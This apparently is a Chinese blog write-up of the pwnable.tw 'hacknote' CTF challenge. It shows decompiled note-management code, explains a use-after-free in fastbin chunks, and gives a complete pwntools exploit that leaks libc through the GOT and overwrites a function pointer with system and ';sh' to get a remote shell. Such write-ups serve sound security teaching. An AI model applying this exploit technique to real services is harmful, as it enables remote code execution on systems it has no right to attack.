• PWNABLE hacknote


    查看文件基本信息

     

     分析程序行为

     

     静态分析

    unsigned int add_note()
    {
      int v0; // ebx
      int i; // [esp+Ch] [ebp-1Ch]
      int size; // [esp+10h] [ebp-18h]
      char buf[8]; // [esp+14h] [ebp-14h] BYREF
      unsigned int v5; // [esp+1Ch] [ebp-Ch]
    
      v5 = __readgsdword(0x14u);
      if ( dword_804A04C <= 5 )
      {
        for ( i = 0; i <= 4; ++i )
        {
          if ( !*(&ptr + i) )                       // 当前的ptr为空才会执行
          {
            *(&ptr + i) = malloc(8u);               // 申请8字节空间
                                                    // 前4个字节为puts_a1函数
                                                    // 后四个字节为content地址
            if ( !*(&ptr + i) )
            {
              puts("Alloca Error");
              exit(-1);
            }
            *(_DWORD *)*(&ptr + i) = puts_a1;       // malloc申请来的地址赋值puts函数
            printf("Note size :");
            read(0, buf, 8u);
            size = atoi(buf);
            v0 = (int)*(&ptr + i);
            *(_DWORD *)(v0 + 4) = malloc(size);
            if ( !*((_DWORD *)*(&ptr + i) + 1) )
            {
              puts("Alloca Error");
              exit(-1);
            }
            printf("Content :");
            read(0, *((void **)*(&ptr + i) + 1), size);
            puts("Success !");
            ++dword_804A04C;
            return __readgsdword(0x14u) ^ v5;
          }
        }
      }
      else
      {
        puts("Full");
      }
      return __readgsdword(0x14u) ^ v5;
    }
    unsigned int delete_note()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf[4]; // [esp+8h] [ebp-10h] BYREF
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, buf, 4u);
      v1 = atoi(buf);
      if ( v1 < 0 || v1 >= dword_804A04C )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( *(&ptr + v1) )
      {
        free(*((void **)*(&ptr + v1) + 1));         // 先释放content
        free(*(&ptr + v1));                         // 再释放note
        puts("Success");
      }
      return __readgsdword(0x14u) ^ v3;
    }
    unsigned int print_note()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf[4]; // [esp+8h] [ebp-10h] BYREF
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, buf, 4u);
      v1 = atoi(buf);
      if ( v1 < 0 || v1 >= dword_804A04C )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( *(&ptr + v1) )
        (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));// 这里注意,在add_note赋值时,给的puts里的参数
                                                    // 自带+4
      return __readgsdword(0x14u) ^ v3;
    }

    漏洞利用

     运用UAF,先创建两个note,size需要大一些不能是8,比如设置为20.再先删除掉note0,后删除掉note1,在fastbin中就会有下面的结构

     然后再申请note2,并且设置note2的size为8,这样就会note1的地址给note2,并且由于size为8,会把note0的地址给note2的content,这样给content赋值就会更改掉note0里的数据,

    又由于free note0时,没有把note0指针设置为null,所以仍然可以调用note0

    EXP

    from pwn import *
    # context.log_level = 'debug'
    # io=process('./hacknote')
    io=remote('chall.pwnable.tw','10102')
    elf=ELF('./hacknote')
    libc=ELF('libc_32.so.6')
    addr_putsa1=0x0804862B    #不能是plt里的,因为它需要参数在栈里
    
    def add_note(size,content):
        io.recvuntil('Your choice :')
        io.sendline('1')
        io.recvuntil('Note size :')
        io.sendline(size)
        io.recvuntil('Content :')
        io.sendline(content)
    
    def delete_note(index):
        io.recvuntil('Your choice :')
        io.sendline('2')
        io.recvuntil('Index :')
        io.sendline(index)
    
    def print_note(index):
        io.recvuntil('Your choice :')
        io.sendline('3')
        io.recvuntil('Index :')
        io.sendline(index)
    
    add_note('200','lft')
    add_note('200','sh')
    delete_note('0')
    delete_note('1')
    
    add_note('8',p32(addr_putsa1)+p32(elf.got['malloc']))
    print_note('0')
    addr_malloc=u32(io.recv(numb=4))
    print hex(addr_malloc)
    libc.address=addr_malloc-libc.sym['malloc']
    addr_system=libc.sym['system']
    
    delete_note('2')
    add_note('8',p32(addr_system)+';shx00')#这里是system函数,所以会把整个note指针传入进去,所以需要用分号把前面的表示函数地址的数据给或掉
    print_note('0')
    
    io.interactive()
  • 相关阅读:
    Git_创建版本库
    Git_安装Git
    Git_集中式vs分布式
    Git_git的诞生
    echartShow
    微信小程序红包开发 小程序发红包 开发过程中遇到的坑 微信小程序红包接口的
    vue2.0 $router和$route的区别
    vue移动端开发全家桶
    干货分享:vue2.0做移动端开发用到的相关插件和经验总结
    优秀的基于VUE移动端UI框架合集
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/15477513.html
Copyright © 2020-2023  润新知